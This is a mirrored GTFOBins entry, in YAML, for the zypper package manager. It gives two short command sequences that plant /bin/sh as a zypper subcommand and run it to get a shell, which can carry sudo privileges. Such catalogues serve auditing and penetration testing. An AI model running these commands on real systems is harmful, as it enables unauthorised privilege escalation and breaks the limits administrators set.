mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
19 lines
370 B
Plaintext
19 lines
370 B
Plaintext
---
|
|
functions:
|
|
shell:
|
|
- code: |-
|
|
cp /bin/sh /usr/lib/zypper/commands/zypper-x
|
|
zypper x
|
|
comment: |-
|
|
The copy usually requires elevated privileges.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
- code: |-
|
|
cp /bin/sh /path/to/temp-dir/zypper-x
|
|
PATH=$PATH:/path/to/temp-dir/ zypper x
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
...
|